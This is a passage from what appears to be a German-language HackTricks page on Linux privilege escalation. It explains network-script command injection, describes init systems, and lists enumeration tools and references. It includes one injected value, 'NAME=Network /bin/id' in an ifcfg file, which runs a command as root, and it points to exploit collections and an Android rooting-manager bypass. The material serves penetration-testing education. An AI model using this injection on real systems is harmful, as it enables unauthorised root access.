Network-Skripte, z. B. ifcg-eth0, werden für Netzwerkverbindungen verwendet. Sie sehen genau wie .INI-Dateien aus. Sie werden jedoch unter Linux vom Network Manager (dispatcher.d) per 'source' eingebunden.
In meinem Fall wird das NAME=
-Attribut in diesen Network-Skripten nicht korrekt behandelt. Wenn du ein Leerzeichen im Namen hast, versucht das System den Teil nach dem Leerzeichen auszuführen. Das bedeutet, dass alles nach dem ersten Leerzeichen als root ausgeführt wird.
For example: /etc/sysconfig/network-scripts/ifcfg-1337
NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0
(Beachte das Leerzeichen zwischen Network und /bin/id)
init, init.d, systemd, und rc.d
Das Verzeichnis /etc/init.d
beherbergt Skripte für System V init (SysVinit), das klassische Linux-Dienstverwaltungssystem. Es enthält Skripte zum start
en, stop
pen, restart
en und manchmal reload
en von Services. Diese können direkt ausgeführt werden oder über symbolische Links in /etc/rc?.d/
. Ein alternativer Pfad in Redhat-Systemen ist /etc/rc.d/init.d
.
Auf der anderen Seite ist /etc/init
mit Upstart verbunden, einem neueren Dienstverwaltungssystem, das von Ubuntu eingeführt wurde und Konfigurationsdateien für Dienstverwaltungsaufgaben verwendet. Trotz des Übergangs zu Upstart werden SysVinit-Skripte weiterhin neben Upstart-Konfigurationen verwendet, da Upstart eine Kompatibilitätsschicht bietet.
systemd hat sich als moderner Initialisierer und Service-Manager etabliert und bietet fortgeschrittene Funktionen wie bedarfsorientiertes Starten von Daemons, Automount-Verwaltung und Snapshots des Systemzustands. Es organisiert Dateien in /usr/lib/systemd/
für Distributionspakete und /etc/systemd/system/
für Administratoranpassungen und vereinfacht so die Systemadministration.
Weitere Tricks
NFS Privilege escalation
NFS no_root_squash/no_all_squash misconfiguration PE
Escaping from restricted Shells
Cisco - vmanage
Android rooting frameworks: manager-channel abuse
Android rooting frameworks hooken häufig einen syscall, um privilegierte Kernel-Funktionalität an einen Userspace-Manager preiszugeben. Schwache Manager-Authentifizierung (z. B. Signaturprüfungen basierend auf FD-order oder schlechte Passwortschemata) kann einer lokalen App ermöglichen, den Manager zu imitieren und auf bereits-rooted Geräten auf root zu eskalieren. Mehr dazu und Exploit-Details hier:
Android Rooting Frameworks Manager Auth Bypass Syscall Hook
Kernel-Sicherheitsmechanismen
- https://github.com/a13xp0p0v/kconfig-hardened-check
- https://github.com/a13xp0p0v/linux-kernel-defence-map
Mehr Hilfe
Linux/Unix Privesc Tools
Bestes Tool, um nach lokalen Linux privilege escalation Vektoren zu suchen: LinPEAS
LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Kernel-Schwachstellen in Linux und macOS auflisten https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Zusammenstellung weiterer Skripte: https://github.com/1N3/PrivEsc
Referenzen
- https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
- https://payatu.com/guide-linux-privilege-escalation/
- https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744
- http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html
- https://touhidshaikh.com/blog/?p=827
- https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf
- https://github.com/frizb/Linux-Privilege-Escalation
- https://github.com/lucyoa/kernel-exploits
- https://github.com/rtcrowley/linux-private-i
- https://www.linux.com/news/what-socket/
- https://muzec0318.github.io/posts/PG/peppo.html
- https://www.linuxjournal.com/article/7744
- https://blog.certcube.com/suid-executables-linux-privilege-escalation/
- https://juggernaut-sec.com/sudo-part-2-lpe
- https://linuxconfig.org/how-to-manage-acls-on-linux
- https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
- https://www.linode.com/docs/guides/what-is-systemd/
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.